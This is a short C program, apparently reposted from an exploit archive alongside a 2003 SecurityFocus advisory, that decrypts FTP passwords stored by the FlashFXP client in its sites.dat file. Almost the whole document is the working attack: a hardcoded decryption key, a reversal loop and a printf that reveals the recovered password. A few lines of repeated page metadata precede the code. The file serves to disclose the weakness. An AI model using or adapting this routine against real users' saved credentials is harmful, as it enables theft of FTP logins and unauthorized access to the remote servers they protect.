40 lines
No EOL
1.2 KiB
C
40 lines
No EOL
1.2 KiB
C
// source: https://www.securityfocus.com/bid/7499/info
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FlashFXP uses a trivially reversible algorithm to encrypt FTP user credentials. Local attackers with access to the sites.data may exploit this weakness to gain unauthorized access to FTP user credentials for remote sites.
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/* Flashfxp sites.dat decryption
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* By: Dvdman@l33tsecurity.com
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* L33tsecurity 2003
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*/
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#include <math.h>
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#include <stdio.h>
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#include <stdlib.h>
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#define VERSION 1
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char magic[] ={ 0x79,0x41,0x33, 0x36, 0x7A, 0x41, 0x34 ,0x38, 0x64, 0x45 ,0x68, 0x66, 0x72, 0x76, 0x67 ,0x68,
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0x47, 0x52, 0x67, 0x35, 0x37, 0x68, 0x35, 0x55, 0x6C ,0x44 ,0x76, 0x33 ,0x00 ,0x00 ,0x00, 0x00, };
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char b[]={ 0x36,0xd8,0x7f,0xc2,0x07,0x16,0xc3};
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/* kernel */
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//char b[]={ 0x74, 0x92, 0x43 ,0x9C, 0x25, 0xEE ,0x27, 0xA1, 0x2D, 0xC2, 0x77, 0x84,};
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int main(int argc, char **argv)
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{
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unsigned char temp;
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unsigned char out[128];
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int i;
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temp = b[0];
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for (i = 1; i < sizeof(b); i++)
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{
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out[i - 1] = (b[i] ^ magic[i - 1]) - temp - (i + 1) % 2;
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temp = b[i % 29];
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};
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out[i - 1] = 0;
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printf("DECRYPTED PASSWORD IS: %s\n",(char *)&out);
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return 0;
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} |